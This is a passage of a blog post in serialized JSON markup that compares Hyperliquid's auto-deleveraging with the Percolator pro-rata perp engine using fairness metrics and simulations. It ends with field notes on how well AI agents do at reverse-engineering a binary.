",{"type":25,"tag":82,"props":5402,"children":5404},{"className":5403},[212,4696],[5405],{"type":25,"tag":216,"props":5406,"children":5408},{"className":5407},[224],[5409],{"type":25,"tag":216,"props":5410,"children":5412},{"className":5411,"ariaHidden":230},[229],[5413,5439],{"type":25,"tag":216,"props":5414,"children":5416},{"className":5415},[235],[5417,5421,5426,5430,5435],{"type":25,"tag":216,"props":5418,"children":5420},{"className":5419,"style":4793},[240],[],{"type":25,"tag":216,"props":5422,"children":5424},{"className":5423,"style":5263},[246,2145],[5425],{"type":31,"value":5266},{"type":25,"tag":216,"props":5427,"children":5429},{"className":5428,"style":258},[257],[],{"type":25,"tag":216,"props":5431,"children":5433},{"className":5432},[263],[5434],{"type":31,"value":266},{"type":25,"tag":216,"props":5436,"children":5438},{"className":5437,"style":258},[257],[],{"type":25,"tag":216,"props":5440,"children":5442},{"className":5441},[235],[5443,5447],{"type":25,"tag":216,"props":5444,"children":5446},{"className":5445,"style":5287},[240],[],{"type":25,"tag":216,"props":5448,"children":5450},{"className":5449},[246],[5451],{"type":31,"value":1876},{"type":31,"value":5453}," means nothing was recovered.",{"type":25,"tag":2037,"props":5455,"children":5456},{},[5457,5461,5462,5586,5588,5807,5809,5914,5916,5968,5970,6022],{"type":25,"tag":64,"props":5458,"children":5459},{},[5460],{"type":31,"value":2054},{"type":31,"value":4977},{"type":25,"tag":82,"props":5463,"children":5465},{"className":5464},[212,4696],[5466],{"type":25,"tag":216,"props":5467,"children":5469},{"className":5468},[224],[5470],{"type":25,"tag":216,"props":5471,"children":5473},{"className":5472,"ariaHidden":230},[229],[5474,5500],{"type":25,"tag":216,"props":5475,"children":5477},{"className":5476},[235],[5478,5482,5487,5491,5496],{"type":25,"tag":216,"props":5479,"children":5481},{"className":5480,"style":4997},[240],[],{"type":25,"tag":216,"props":5483,"children":5485},{"className":5484},[246],[5486],{"type":31,"value":184},{"type":25,"tag":216,"props":5488,"children":5490},{"className":5489,"style":335},[257],[],{"type":25,"tag":216,"props":5492,"children":5494},{"className":5493},[340],[5495],{"type":31,"value":3372},{"type":25,"tag":216,"props":5497,"children":5499},{"className":5498,"style":335},[257],[],{"type":25,"tag":216,"props":5501,"children":5503},{"className":5502},[235],[5504,5509,5519,5524,5581],{"type":25,"tag":216,"props":5505,"children":5508},{"className":5506,"style":5507},[240],"height:1em;vertical-align:-0.25em;",[],{"type":25,"tag":216,"props":5510,"children":5512},{"className":5511},[246,31],[5513],{"type":25,"tag":216,"props":5514,"children":5516},{"className":5515},[246],[5517],{"type":31,"value":5518},"Gini",{"type":25,"tag":216,"props":5520,"children":5522},{"className":5521},[287],[5523],{"type":31,"value":1844},{"type":25,"tag":216,"props":5525,"children":5527},{"className":5526},[246],[5528,5533],{"type":25,"tag":216,"props":5529,"children":5531},{"className":5530},[246,2145],[5532],{"type":31,"value":2605},{"type":25,"tag":216,"props":5534,"children":5536},{"className":5535},[2153],[5537],{"type":25,"tag":216,"props":5538,"children":5540},{"className":5539},[298,299],[5541,5570],{"type":25,"tag":216,"props":5542,"children":5544},{"className":5543},[304],[5545,5565],{"type":25,"tag":216,"props":5546,"children":5548},{"className":5547,"style":2264},[309],[5549],{"type":25,"tag":216,"props":5550,"children":5551},{"style":2268},[5552,5556],{"type":25,"tag":216,"props":5553,"children":5555},{"className":5554,"style":2175},[319],[],{"type":25,"tag":216,"props":5557,"children":5559},{"className":5558},[2180,2181,2182,2183],[5560],{"type":25,"tag":216,"props":5561,"children":5563},{"className":5562},[246,2145,2183],[5564],{"type":31,"value":2283},{"type":25,"tag":216,"props":5566,"children":5568},{"className":5567},[408],[5569],{"type":31,"value":411},{"type":25,"tag":216,"props":5571,"children":5573},{"className":5572},[304],[5574],{"type":25,"tag":216,"props":5575,"children":5577},{"className":5576,"style":2203},[309],[5578],{"type":25,"tag":216,"props":5579,"children":5580},{},[],{"type":25,"tag":216,"props":5582,"children":5584},{"className":5583},[427],[5585],{"type":31,"value":1882},{"type":31,"value":5587}," where ",{"type":25,"tag":82,"props":5589,"children":5591},{"className":5590},[212,4696],[5592],{"type":25,"tag":216,"props":5593,"children":5595},{"className":5594},[224],[5596],{"type":25,"tag":216,"props":5597,"children":5599},{"className":5598,"ariaHidden":230},[229],[5600,5679],{"type":25,"tag":216,"props":5601,"children":5603},{"className":5602},[235],[5604,5609,5666,5670,5675],{"type":25,"tag":216,"props":5605,"children":5608},{"className":5606,"style":5607},[240],"height:0.8444em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":5610,"children":5612},{"className":5611},[246],[5613,5618],{"type":25,"tag":216,"props":5614,"children":5616},{"className":5615},[246,2145],[5617],{"type":31,"value":2605},{"type":25,"tag":216,"props":5619,"children":5621},{"className":5620},[2153],[5622],{"type":25,"tag":216,"props":5623,"children":5625},{"className":5624},[298,299],[5626,5655],{"type":25,"tag":216,"props":5627,"children":5629},{"className":5628},[304],[5630,5650],{"type":25,"tag":216,"props":5631,"children":5633},{"className":5632,"style":2264},[309],[5634],{"type":25,"tag":216,"props":5635,"children":5636},{"style":2268},[5637,5641],{"type":25,"tag":216,"props":5638,"children":5640},{"className":5639,"style":2175},[319],[],{"type":25,"tag":216,"props":5642,"children":5644},{"className":5643},[2180,2181,2182,2183],[5645],{"type":25,"tag":216,"props":5646,"children":5648},{"className":5647},[246,2145,2183],[5649],{"type":31,"value":2283},{"type":25,"tag":216,"props":5651,"children":5653},{"className":5652},[408],[5654],{"type":31,"value":411},{"type":25,"tag":216,"props":5656,"children":5658},{"className":5657},[304],[5659],{"type":25,"tag":216,"props":5660,"children":5662},{"className":5661,"style":2203},[309],[5663],{"type":25,"tag":216,"props":5664,"children":5665},{},[],{"type":25,"tag":216,"props":5667,"children":5669},{"className":5668,"style":258},[257],[],{"type":25,"tag":216,"props":5671,"children":5673},{"className":5672},[263],[5674],{"type":31,"value":266},{"type":25,"tag":216,"props":5676,"children":5678},{"className":5677,"style":258},[257],[],{"type":25,"tag":216,"props":5680,"children":5682},{"className":5681},[235],[5683,5687,5744,5750],{"type":25,"tag":216,"props":5684,"children":5686},{"className":5685,"style":5507},[240],[],{"type":25,"tag":216,"props":5688,"children":5690},{"className":5689},[246],[5691,5696],{"type":25,"tag":216,"props":5692,"children":5694},{"className":5693},[246,2145],[5695],{"type":31,"value":2535},{"type":25,"tag":216,"props":5697,"children":5699},{"className":5698},[2153],[5700],{"type":25,"tag":216,"props":5701,"children":5703},{"className":5702},[298,299],[5704,5733],{"type":25,"tag":216,"props":5705,"children":5707},{"className":5706},[304],[5708,5728],{"type":25,"tag":216,"props":5709,"children":5711},{"className":5710,"style":2264},[309],[5712],{"type":25,"tag":216,"props":5713,"children":5714},{"style":2268},[5715,5719],{"type":25,"tag":216,"props":5716,"children":5718},{"className":5717,"style":2175},[319],[],{"type":25,"tag":216,"props":5720,"children":5722},{"className":5721},[2180,2181,2182,2183],[5723],{"type":25,"tag":216,"props":5724,"children":5726},{"className":5725},[246,2145,2183],[5727],{"type":31,"value":2283},{"type":25,"tag":216,"props":5729,"children":5731},{"className":5730},[408],[5732],{"type":31,"value":411},{"type":25,"tag":216,"props":5734,"children":5736},{"className":5735},[304],[5737],{"type":25,"tag":216,"props":5738,"children":5740},{"className":5739,"style":2203},[309],[5741],{"type":25,"tag":216,"props":5742,"children":5743},{},[],{"type":25,"tag":216,"props":5745,"children":5747},{"className":5746},[246],[5748],{"type":31,"value":5749},"/",{"type":25,"tag":216,"props":5751,"children":5753},{"className":5752},[246],[5754,5759],{"type":25,"tag":216,"props":5755,"children":5757},{"className":5756,"style":2461},[246,2145],[5758],{"type":31,"value":2464},{"type":25,"tag":216,"props":5760,"children":5762},{"className":5761},[2153],[5763],{"type":25,"tag":216,"props":5764,"children":5766},{"className":5765},[298,299],[5767,5796],{"type":25,"tag":216,"props":5768,"children":5770},{"className":5769},[304],[5771,5791],{"type":25,"tag":216,"props":5772,"children":5774},{"className":5773,"style":2264},[309],[5775],{"type":25,"tag":216,"props":5776,"children":5777},{"style":2483},[5778,5782],{"type":25,"tag":216,"props":5779,"children":5781},{"className":5780,"style":2175},[319],[],{"type":25,"tag":216,"props":5783,"children":5785},{"className":5784},[2180,2181,2182,2183],[5786],{"type":25,"tag":216,"props":5787,"children":5789},{"className":5788},[246,2145,2183],[5790],{"type":31,"value":2283},{"type":25,"tag":216,"props":5792,"children":5794},{"className":5793},[408],[5795],{"type":31,"value":411},{"type":25,"tag":216,"props":5797,"children":5799},{"className":5798},[304],[5800],{"type":25,"tag":216,"props":5801,"children":5803},{"className":5802,"style":2203},[309],[5804],{"type":25,"tag":216,"props":5805,"children":5806},{},[],{"type":31,"value":5808}," for each winner with ",{"type":25,"tag":82,"props":5810,"children":5812},{"className":5811},[212,4696],[5813],{"type":25,"tag":216,"props":5814,"children":5816},{"className":5815},[224],[5817],{"type":25,"tag":216,"props":5818,"children":5820},{"className":5819,"ariaHidden":230},[229],[5821,5901],{"type":25,"tag":216,"props":5822,"children":5824},{"className":5823},[235],[5825,5830,5887,5891,5897],{"type":25,"tag":216,"props":5826,"children":5829},{"className":5827,"style":5828},[240],"height:0.6891em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":5831,"children":5833},{"className":5832},[246],[5834,5839],{"type":25,"tag":216,"props":5835,"children":5837},{"className":5836,"style":2461},[246,2145],[5838],{"type":31,"value":2464},{"type":25,"tag":216,"props":5840,"children":5842},{"className":5841},[2153],[5843],{"type":25,"tag":216,"props":5844,"children":5846},{"className":5845},[298,299],[5847,5876],{"type":25,"tag":216,"props":5848,"children":5850},{"className":5849},[304],[5851,5871],{"type":25,"tag":216,"props":5852,"children":5854},{"className":5853,"style":2264},[309],[5855],{"type":25,"tag":216,"props":5856,"children":5857},{"style":2483},[5858,5862],{"type":25,"tag":216,"props":5859,"children":5861},{"className":5860,"style":2175},[319],[],{"type":25,"tag":216,"props":5863,"children":5865},{"className":5864},[2180,2181,2182,2183],[5866],{"type":25,"tag":216,"props":5867,"children":5869},{"className":5868},[246,2145,2183],[5870],{"type":31,"value":2283},{"type":25,"tag":216,"props":5872,"children":5874},{"className":5873},[408],[5875],{"type":31,"value":411},{"type":25,"tag":216,"props":5877,"children":5879},{"className":5878},[304],[5880],{"type":25,"tag":216,"props":5881,"children":5883},{"className":5882,"style":2203},[309],[5884],{"type":25,"tag":216,"props":5885,"children":5886},{},[],{"type":25,"tag":216,"props":5888,"children":5890},{"className":5889,"style":258},[257],[],{"type":25,"tag":216,"props":5892,"children":5894},{"className":5893},[263],[5895],{"type":31,"value":5896},">",{"type":25,"tag":216,"props":5898,"children":5900},{"className":5899,"style":258},[257],[],{"type":25,"tag":216,"props":5902,"children":5904},{"className":5903},[235],[5905,5909],{"type":25,"tag":216,"props":5906,"children":5908},{"className":5907,"style":5287},[240],[],{"type":25,"tag":216,"props":5910,"children":5912},{"className":5911},[246],[5913],{"type":31,"value":1876},{"type":31,"value":5915}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":25,"tag":82,"props":5917,"children":5919},{"className":5918},[212,4696],[5920],{"type":25,"tag":216,"props":5921,"children":5923},{"className":5922},[224],[5924],{"type":25,"tag":216,"props":5925,"children":5927},{"className":5926,"ariaHidden":230},[229],[5928,5955],{"type":25,"tag":216,"props":5929,"children":5931},{"className":5930},[235],[5932,5936,5942,5946,5951],{"type":25,"tag":216,"props":5933,"children":5935},{"className":5934,"style":4793},[240],[],{"type":25,"tag":216,"props":5937,"children":5939},{"className":5938,"style":2146},[246,2145],[5940],{"type":31,"value":5941},"F",{"type":25,"tag":216,"props":5943,"children":5945},{"className":5944,"style":258},[257],[],{"type":25,"tag":216,"props":5947,"children":5949},{"className":5948},[263],[5950],{"type":31,"value":266},{"type":25,"tag":216,"props":5952,"children":5954},{"className":5953,"style":258},[257],[],{"type":25,"tag":216,"props":5956,"children":5958},{"className":5957},[235],[5959,5963],{"type":25,"tag":216,"props":5960,"children":5962},{"className":5961,"style":5287},[240],[],{"type":25,"tag":216,"props":5964,"children":5966},{"className":5965},[246],[5967],{"type":31,"value":184},{"type":31,"value":5969}," means everyone loses the same fraction of their PNL. ",{"type":25,"tag":82,"props":5971,"children":5973},{"className":5972},[212,4696],[5974],{"type":25,"tag":216,"props":5975,"children":5977},{"className":5976},[224],[5978],{"type":25,"tag":216,"props":5979,"children":5981},{"className":5980,"ariaHidden":230},[229],[5982,6009],{"type":25,"tag":216,"props":5983,"children":5985},{"className":5984},[235],[5986,5990,5995,5999,6005],{"type":25,"tag":216,"props":5987,"children":5989},{"className":5988,"style":4793},[240],[],{"type":25,"tag":216,"props":5991,"children":5993},{"className":5992,"style":2146},[246,2145],[5994],{"type":31,"value":5941},{"type":25,"tag":216,"props":5996,"children":5998},{"className":5997,"style":258},[257],[],{"type":25,"tag":216,"props":6000,"children":6002},{"className":6001},[263],[6003],{"type":31,"value":6004},"≈",{"type":25,"tag":216,"props":6006,"children":6008},{"className":6007,"style":258},[257],[],{"type":25,"tag":216,"props":6010,"children":6012},{"className":6011},[235],[6013,6017],{"type":25,"tag":216,"props":6014,"children":6016},{"className":6015,"style":5287},[240],[],{"type":25,"tag":216,"props":6018,"children":6020},{"className":6019},[246],[6021],{"type":31,"value":1876},{"type":31,"value":6023}," means a few get wiped while most are untouched.",{"type":25,"tag":2037,"props":6025,"children":6026},{},[6027,6031,6032,6192,6194,6288,6290],{"type":25,"tag":64,"props":6028,"children":6029},{},[6030],{"type":31,"value":2064},{"type":31,"value":4977},{"type":25,"tag":82,"props":6033,"children":6035},{"className":6034},[212,4696],[6036],{"type":25,"tag":216,"props":6037,"children":6039},{"className":6038},[224],[6040],{"type":25,"tag":216,"props":6041,"children":6043},{"className":6042,"ariaHidden":230},[229],[6044],{"type":25,"tag":216,"props":6045,"children":6047},{"className":6046},[235],[6048,6053,6130,6135],{"type":25,"tag":216,"props":6049,"children":6052},{"className":6050,"style":6051},[240],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":25,"tag":216,"props":6054,"children":6056},{"className":6055},[246],[6057,6062],{"type":25,"tag":216,"props":6058,"children":6060},{"className":6059,"style":2818},[246,2145],[6061],{"type":31,"value":2821},{"type":25,"tag":216,"props":6063,"children":6065},{"className":6064},[2153],[6066],{"type":25,"tag":216,"props":6067,"children":6069},{"className":6068},[298,299],[6070,6118],{"type":25,"tag":216,"props":6071,"children":6073},{"className":6072},[304],[6074,6113],{"type":25,"tag":216,"props":6075,"children":6078},{"className":6076,"style":6077},[309],"height:0.6644em;",[6079,6096],{"type":25,"tag":216,"props":6080,"children":6082},{"style":6081},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[6083,6087],{"type":25,"tag":216,"props":6084,"children":6086},{"className":6085,"style":2175},[319],[],{"type":25,"tag":216,"props":6088,"children":6090},{"className":6089},[2180,2181,2182,2183],[6091],{"type":25,"tag":216,"props":6092,"children":6094},{"className":6093,"style":2146},[246,2145,2183],[6095],{"type":31,"value":177},{"type":25,"tag":216,"props":6097,"children":6099},{"style":6098},"top:-3.063em;margin-right:0.05em;",[6100,6104],{"type":25,"tag":216,"props":6101,"children":6103},{"className":6102,"style":2175},[319],[],{"type":25,"tag":216,"props":6105,"children":6107},{"className":6106},[2180,2181,2182,2183],[6108],{"type":25,"tag":216,"props":6109,"children":6111},{"className":6110,"style":2319},[246,2145,2183],[6112],{"type":31,"value":2322},{"type":25,"tag":216,"props":6114,"children":6116},{"className":6115},[408],[6117],{"type":31,"value":411},{"type":25,"tag":216,"props":6119,"children":6121},{"className":6120},[304],[6122],{"type":25,"tag":216,"props":6123,"children":6126},{"className":6124,"style":6125},[309],"height:0.2753em;",[6127],{"type":25,"tag":216,"props":6128,"children":6129},{},[],{"type":25,"tag":216,"props":6131,"children":6133},{"className":6132},[246],[6134],{"type":31,"value":5749},{"type":25,"tag":216,"props":6136,"children":6138},{"className":6137},[246],[6139,6144],{"type":25,"tag":216,"props":6140,"children":6142},{"className":6141,"style":2818},[246,2145],[6143],{"type":31,"value":2821},{"type":25,"tag":216,"props":6145,"children":6147},{"className":6146},[2153],[6148],{"type":25,"tag":216,"props":6149,"children":6151},{"className":6150},[298,299],[6152,6181],{"type":25,"tag":216,"props":6153,"children":6155},{"className":6154},[304],[6156,6176],{"type":25,"tag":216,"props":6157,"children":6159},{"className":6158,"style":2692},[309],[6160],{"type":25,"tag":216,"props":6161,"children":6162},{"style":2840},[6163,6167],{"type":25,"tag":216,"props":6164,"children":6166},{"className":6165,"style":2175},[319],[],{"type":25,"tag":216,"props":6168,"children":6170},{"className":6169},[2180,2181,2182,2183],[6171],{"type":25,"tag":216,"props":6172,"children":6174},{"className":6173,"style":2146},[246,2145,2183],[6175],{"type":31,"value":177},{"type":25,"tag":216,"props":6177,"children":6179},{"className":6178},[408],[6180],{"type":31,"value":411},{"type":25,"tag":216,"props":6182,"children":6184},{"className":6183},[304],[6185],{"type":25,"tag":216,"props":6186,"children":6188},{"className":6187,"style":2203},[309],[6189],{"type":25,"tag":216,"props":6190,"children":6191},{},[],{"type":31,"value":6193}," — ",{"type":25,"tag":82,"props":6195,"children":6197},{"className":6196},[212,4696],[6198],{"type":25,"tag":216,"props":6199,"children":6201},{"className":6200},[224],[6202],{"type":25,"tag":216,"props":6203,"children":6205},{"className":6204,"ariaHidden":230},[229],[6206],{"type":25,"tag":216,"props":6207,"children":6209},{"className":6208},[235],[6210,6215],{"type":25,"tag":216,"props":6211,"children":6214},{"className":6212,"style":6213},[240],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":25,"tag":216,"props":6216,"children":6218},{"className":6217},[246],[6219,6224],{"type":25,"tag":216,"props":6220,"children":6222},{"className":6221,"style":2818},[246,2145],[6223],{"type":31,"value":2821},{"type":25,"tag":216,"props":6225,"children":6227},{"className":6226},[2153],[6228],{"type":25,"tag":216,"props":6229,"children":6231},{"className":6230},[298,299],[6232,6277],{"type":25,"tag":216,"props":6233,"children":6235},{"className":6234},[304],[6236,6272],{"type":25,"tag":216,"props":6237,"children":6239},{"className":6238,"style":6077},[309],[6240,6256],{"type":25,"tag":216,"props":6241,"children":6242},{"style":6081},[6243,6247],{"type":25,"tag":216,"props":6244,"children":6246},{"className":6245,"style":2175},[319],[],{"type":25,"tag":216,"props":6248,"children":6250},{"className":6249},[2180,2181,2182,2183],[6251],{"type":25,"tag":216,"props":6252,"children":6254},{"className":6253,"style":2146},[246,2145,2183],[6255],{"type":31,"value":177},{"type":25,"tag":216,"props":6257,"children":6258},{"style":6098},[6259,6263],{"type":25,"tag":216,"props":6260,"children":6262},{"className":6261,"style":2175},[319],[],{"type":25,"tag":216,"props":6264,"children":6266},{"className":6265},[2180,2181,2182,2183],[6267],{"type":25,"tag":216,"props":6268,"children":6270},{"className":6269,"style":2319},[246,2145,2183],[6271],{"type":31,"value":2322},{"type":25,"tag":216,"props":6273,"children":6275},{"className":6274},[408],[6276],{"type":31,"value":411},{"type":25,"tag":216,"props":6278,"children":6280},{"className":6279},[304],[6281],{"type":25,"tag":216,"props":6282,"children":6284},{"className":6283,"style":6125},[309],[6285],{"type":25,"tag":216,"props":6286,"children":6287},{},[],{"type":31,"value":6289}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":25,"tag":82,"props":6291,"children":6293},{"className":6292},[212,4696],[6294],{"type":25,"tag":216,"props":6295,"children":6297},{"className":6296},[224],[6298],{"type":25,"tag":216,"props":6299,"children":6301},{"className":6300,"ariaHidden":230},[229],[6302],{"type":25,"tag":216,"props":6303,"children":6305},{"className":6304},[235],[6306,6311],{"type":25,"tag":216,"props":6307,"children":6310},{"className":6308,"style":6309},[240],"height:0.4306em;",[],{"type":25,"tag":216,"props":6312,"children":6314},{"className":6313,"style":2319},[246,2145],[6315],{"type":31,"value":2322},{"type":25,"tag":38,"props":6317,"children":6318},{},[6319],{"type":31,"value":6320},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":25,"tag":6322,"props":6323,"children":6325},"git-hub-repo-link",{"url":6324},"https://github.com/aeyakovenko/percolator",[],{"type":25,"tag":38,"props":6327,"children":6328},{},[6329,6331,6336],{"type":31,"value":6330},"Given a fixed ",{"type":25,"tag":64,"props":6332,"children":6333},{},[6334],{"type":31,"value":6335},"a priori",{"type":31,"value":6337}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":25,"tag":38,"props":6339,"children":6340},{},[6341,6343,6348,6350,6427],{"type":31,"value":6342},"One prediction that we can make is that Percolator is ",{"type":25,"tag":64,"props":6344,"children":6345},{},[6346],{"type":31,"value":6347},"perfectly fair",{"type":31,"value":6349}," according to this scoring: the ",{"type":25,"tag":82,"props":6351,"children":6353},{"className":6352},[212,4696],[6354],{"type":25,"tag":216,"props":6355,"children":6357},{"className":6356},[224],[6358],{"type":25,"tag":216,"props":6359,"children":6361},{"className":6360,"ariaHidden":230},[229],[6362],{"type":25,"tag":216,"props":6363,"children":6365},{"className":6364},[235],[6366,6370],{"type":25,"tag":216,"props":6367,"children":6369},{"className":6368,"style":5607},[240],[],{"type":25,"tag":216,"props":6371,"children":6373},{"className":6372},[246],[6374,6379],{"type":25,"tag":216,"props":6375,"children":6377},{"className":6376},[246,2145],[6378],{"type":31,"value":2605},{"type":25,"tag":216,"props":6380,"children":6382},{"className":6381},[2153],[6383],{"type":25,"tag":216,"props":6384,"children":6386},{"className":6385},[298,299],[6387,6416],{"type":25,"tag":216,"props":6388,"children":6390},{"className":6389},[304],[6391,6411],{"type":25,"tag":216,"props":6392,"children":6394},{"className":6393,"style":2264},[309],[6395],{"type":25,"tag":216,"props":6396,"children":6397},{"style":2268},[6398,6402],{"type":25,"tag":216,"props":6399,"children":6401},{"className":6400,"style":2175},[319],[],{"type":25,"tag":216,"props":6403,"children":6405},{"className":6404},[2180,2181,2182,2183],[6406],{"type":25,"tag":216,"props":6407,"children":6409},{"className":6408},[246,2145,2183],[6410],{"type":31,"value":2283},{"type":25,"tag":216,"props":6412,"children":6414},{"className":6413},[408],[6415],{"type":31,"value":411},{"type":25,"tag":216,"props":6417,"children":6419},{"className":6418},[304],[6420],{"type":25,"tag":216,"props":6421,"children":6423},{"className":6422,"style":2203},[309],[6424],{"type":25,"tag":216,"props":6425,"children":6426},{},[],{"type":31,"value":6428}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":25,"tag":38,"props":6430,"children":6431},{},[6432,6434,6439],{"type":31,"value":6433},"We are ignoring the ",{"type":25,"tag":64,"props":6435,"children":6436},{},[6437],{"type":31,"value":6438},"a posteriori",{"type":31,"value":6440}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":25,"tag":38,"props":6442,"children":6443},{},[6444],{"type":31,"value":6445},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":25,"tag":26,"props":6447,"children":6449},{"id":6448},"simulations",[6450],{"type":31,"value":6451},"Simulations",{"type":25,"tag":38,"props":6453,"children":6454},{},[6455],{"type":31,"value":6456},"Let's consider the following price scenarios, as we said:",{"type":25,"tag":38,"props":6458,"children":6459},{},[6460],{"type":25,"tag":6461,"props":6462,"children":6465},"img",{"alt":6463,"src":6464},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":25,"tag":38,"props":6467,"children":6468},{},[6469],{"type":31,"value":6470},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":25,"tag":38,"props":6472,"children":6473},{},[6474],{"type":25,"tag":6461,"props":6475,"children":6478},{"alt":6476,"src":6477},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":25,"tag":607,"props":6480,"children":6482},{"id":6481},"percolator-is-more-optimistic",[6483],{"type":31,"value":6484},"Percolator Is More \"Optimistic\"",{"type":25,"tag":38,"props":6486,"children":6487},{},[6488,6490,6495,6497,6502,6504,6510,6512,6517],{"type":31,"value":6489},"The key difference is what happens to positions. ADL ",{"type":25,"tag":64,"props":6491,"children":6492},{},[6493],{"type":31,"value":6494},"permanently closes",{"type":31,"value":6496}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":25,"tag":64,"props":6498,"children":6499},{},[6500],{"type":31,"value":6501},"withdraw",{"type":31,"value":6503},", but the position stays open. If conditions improve, ",{"type":25,"tag":82,"props":6505,"children":6507},{"className":6506},[],[6508],{"type":31,"value":6509},"Residual",{"type":31,"value":6511}," goes up, ",{"type":25,"tag":82,"props":6513,"children":6515},{"className":6514},[],[6516],{"type":31,"value":2605},{"type":31,"value":6518}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":25,"tag":38,"props":6520,"children":6521},{},[6522,6524,6529],{"type":31,"value":6523},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":25,"tag":64,"props":6525,"children":6526},{},[6527],{"type":31,"value":6528},"more",{"type":31,"value":6530}," per position, though the tradeoff is that fewer traders get to participate.",{"type":25,"tag":38,"props":6532,"children":6533},{},[6534],{"type":25,"tag":6461,"props":6535,"children":6538},{"alt":6536,"src":6537},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":25,"tag":26,"props":6540,"children":6542},{"id":6541},"some-points-to-be-made",[6543],{"type":31,"value":6544},"Some Points to Be Made",{"type":25,"tag":607,"props":6546,"children":6548},{"id":6547},"percolator-is-indifferent-to-leverage",[6549],{"type":31,"value":6550},"Percolator Is Indifferent to Leverage",{"type":25,"tag":38,"props":6552,"children":6553},{},[6554],{"type":31,"value":6555},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":25,"tag":38,"props":6557,"children":6558},{},[6559],{"type":25,"tag":6461,"props":6560,"children":6563},{"alt":6561,"src":6562},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":25,"tag":607,"props":6565,"children":6567},{"id":6566},"fairness",[6568],{"type":31,"value":2054},{"type":25,"tag":38,"props":6570,"children":6571},{},[6572],{"type":31,"value":6573},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":25,"tag":38,"props":6575,"children":6576},{},[6577],{"type":25,"tag":6461,"props":6578,"children":6581},{"alt":6579,"src":6580},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":25,"tag":38,"props":6583,"children":6584},{},[6585,6587,6592],{"type":31,"value":6586},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":25,"tag":82,"props":6588,"children":6590},{"className":6589},[],[6591],{"type":31,"value":544},{"type":31,"value":6593}," we start by fully closing the worst position against the best-performing trader.",{"type":25,"tag":26,"props":6595,"children":6597},{"id":6596},"strengths-and-limitations-of-agents-for-reverse-engineering",[6598],{"type":31,"value":6599},"Strengths and Limitations of Agents for Reverse Engineering",{"type":25,"tag":38,"props":6601,"children":6602},{},[6603],{"type":31,"value":6604},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":25,"tag":607,"props":6606,"children":6608},{"id":6607},"hooks",[6609],{"type":31,"value":6610},"Hooks",{"type":25,"tag":38,"props":6612,"children":6613},{},[6614,6616,6620],{"type":31,"value":6615},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":25,"tag":64,"props":6617,"children":6618},{},[6619],{"type":31,"value":6607},{"type":31,"value":6621},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":25,"tag":38,"props":6623,"children":6624},{},[6625],{"type":31,"value":6626},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":25,"tag":607,"props":6628,"children":6630},{"id":6629},"scale",[6631],{"type":31,"value":6632},"Scale",{"type":25,"tag":38,"props":6634,"children":6635},{},[6636],{"type":31,"value":6637},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":25,"tag":38,"props":6639,"children":6640},{},[6641],{"type":31,"value":6642},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":25,"tag":607,"props":6644,"children":6646},{"id":6645},"whats-next",[6647],{"type":31,"value":6648},"What's next?",{"type":25,"tag":38,"props":6650,"children":6651},{},[6652],{"type":31,"value":6653},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":25,"tag":6322,"props":6655,"children":6656},{"url":164},[],{"type":25,"tag":38,"props":6658,"children":6659},{},[6660],{"type":31,"value":6661},"The analyzed binary can be found 